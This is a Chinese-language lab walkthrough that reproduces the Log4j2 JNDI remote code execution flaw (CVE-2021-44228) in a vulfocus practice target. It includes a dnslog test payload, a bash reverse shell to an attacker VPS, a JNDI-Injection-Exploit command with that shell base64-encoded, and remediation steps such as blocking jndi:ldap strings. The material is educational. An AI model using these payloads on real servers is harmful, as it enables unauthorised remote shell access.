log4j2 CVE-2021-44228 远程代码执行漏洞

漏洞简介

• Apache Log4j2是一个基于Java的日志记录工具，开发者广泛利用该工具将程序的输入输出信息进行日志记录；该漏洞是由于Apache Log4j2某些功能存在递归解析功能，导致攻击者可直接构造恶意请求，触发远程代码执行漏洞，从而获得目标服务器权限；

log4j2了解

• log4j2是Apache下的java应用常见的开源日志库，其实也就是一个日志记录工具，控制日志信息输送的目的地为控制台、文件、GUI组建等，被应用于业务系统开发，用于记录程序输入输出日志信息；

jndi了解

• jndi通过lookup()方法解析接收自应用程序的信息，从而去对应的服务查找资源，如ldap，rmi，dns等；

格式: ${jndi:rmi:x.x.x.x:1099/xxx}

• 受影响版本

• 2.0 <= Apache log4j2 <=2.14.1

环境搭建

• 由于环境搭建比较繁琐，还不会的小伙伴可以参考下哟😜； ——> 手把手教你如何搭建vulfocus靶场

漏洞验证

• 开启环境成功访问靶场，看到如下页面；

• 由于log4j2会与jndi进行交互，而jndi又会去对应的服务查找资源，所以利用${jndi:ldap://x.x.x.x}可以成功执行命令时，就可能会存在log4j2漏洞，使用dnslog平台进行测试；

• 打开Burp工具漏洞页面点击？？？？？进行抓包；

• 将抓到包的payload进行替换；

payload=${jndi:ldap://dnslog给的域名}

• 这一步会有个坑大家需要好好注意下，如果直接发包响应会400，这里需要对内容进行url编码，然后再进行发包即可；

• 查看dnslog平台可以看到被成功解析了；

漏洞复现

• 通过上面的测试成功验证了确实存在log4j2漏洞，此时有个新的思路，既然可以执行命令，那如果执行的是反弹的命令，不就可以拿到shell了么😁；
• 将反弹shell的命令进行base64编码，原因是java中如果存在一些特殊的命令字符会有问题，导致反弹失败；

bash -i >& /dev/tcp/vps-ip/监听端口 0>&1
注: 如果是本地搭建的环境使用kali反弹及其他操作即可，特殊情况需使用vps

• 接下来还需要用到JNDI注入工具来进行编译生成payload；

知识小拓展

JNDI，全称为Java命名和目录接口（Java Naming and Directory Interface），是SUN公司提供的一种标准的Java命名系统接口，允许从指定的远程服务器获取并加载对象；JNDI相当于一个用于映射的字典，使得Java应用程序可以和这些命名服务和目录服务之间进行交互；

• 将工具下载好后传到vps上，使用java命令进行编译以生成payload；

java -jar JNDI-Injection-Exploit-1.0.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94LngueC54LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A vps-ip

反弹shell

• 复制JDK生成的payload，1.7和1.8版本的都好像反弹不成功，这边暂时也不是很清楚啥子原因😂，接下来还是和之前的操作一样替换payload并进行url编码；

• vps开启监听1234端口；

• 发送编码后的payload可以看到vps上已经成功反弹shell；

• 在/tmp目录下成功拿到flag；

修复意见

1）设置log4j2.formatMsgNoLookups=True，相当于直接禁止lookup查询出栈也就不可能请求访问到远程的恶意站点；
2）对包含jndi:ldap://，jndi:rmi//这样字符串的请求进行拦截，即拦截JNDI语句来防止JNDI注入；
3）对系统进行合理配置，禁止不必要的业务访问外网，配置网络防火墙,禁止系统主动外连网络等；
4）将log4j2升级到最新的安全版本；

下一篇 > fastjson CNVD-2019-22238 远程代码执行漏洞

以上内容就是log4j2 CVE-2021-44228 远程代码执行漏洞复现过程，如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟，如有写的不好的地方也请大家多多包涵一下，我也会慢慢去改进和提高的，请各位小伙伴多多支持，走之前别忘了点个赞哟😁！